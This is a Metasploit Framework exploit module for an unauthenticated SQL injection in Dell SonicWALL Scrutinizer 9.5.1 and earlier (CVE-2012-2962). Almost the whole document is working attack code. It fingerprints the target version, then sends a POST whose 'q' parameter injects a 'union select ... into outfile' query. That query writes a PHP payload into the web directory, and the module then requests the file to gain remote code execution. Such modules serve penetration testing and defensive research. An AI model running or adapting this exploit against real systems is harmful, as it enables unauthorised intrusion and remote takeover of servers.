Dell SonicWALL Scrutinizer 9 SQL Injection



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Dell SonicWALL Scrutinizer 9 SQL Injection",
            'Description'    => %q{
                    This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
                While handling the 'q' parameter, the PHP application does not properly filter
                the user-supplied data, which can be manipulated to inject SQL commands, and
                then gain remote code execution.  Please note that authentication is NOT needed
                to exploit this vulnerability.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'muts',
                    'dookie',
                    'sinn3r'
                ],
            'References'     =>
                [
                    ['CVE', '2012-2962'],
                    ['OSVDB', '84232'],
                    ['EDB', '20033'],
                    ['BID', '54625'],
                    ['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    # According to advisory, version 9.5.1 and before are vulnerable.
                    # But was only able to test this on 9.0.1.0
                    ['Dell SonicWall Scrutinizer 9.5.1 or older', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jul 22 2012",
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),
                    OptString.new('HTMLDIR',   [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])
                ], self.class)
    end


    def check
        res = send_request_raw({'uri'=>target_uri.host})
        if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
                   res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/
            return Exploit::CheckCode::Vulnerable
        end

        return Exploit::CheckCode::Safe
    end


    def exploit
        peer = "#{rhost}:#{rport}"
        p = "<?php #{payload.encoded} ?>"
        hex_payload = p.unpack("H*")[0]
        php_fname   = Rex::Text.rand_text_alpha(5) + ".php"
        rnd_txt     = Rex::Text.rand_text_alpha_upper(3)

        print_status("#{peer} - Sending SQL injection...")
        res = send_request_cgi({
            'uri'       => target_uri.path,
            'method'    => 'POST',
            'vars_post' => {
                'commonJson' => 'protList',
                'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"
            }
        })

        if res and res.body !~ /No Results Found/
            print_error("#{peer} - I don't think the SQL Injection attempt worked")
            return
        elsif not res
            print_error("#{peer} - No response from the server")
            return
        end

        # For debugging purposes, this is useful
        vprint_status(res.to_s)

        target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"
        print_status("#{peer} - Requesting: #{target_path}")
        send_request_raw({'uri' => target_path})

        handler
    end
end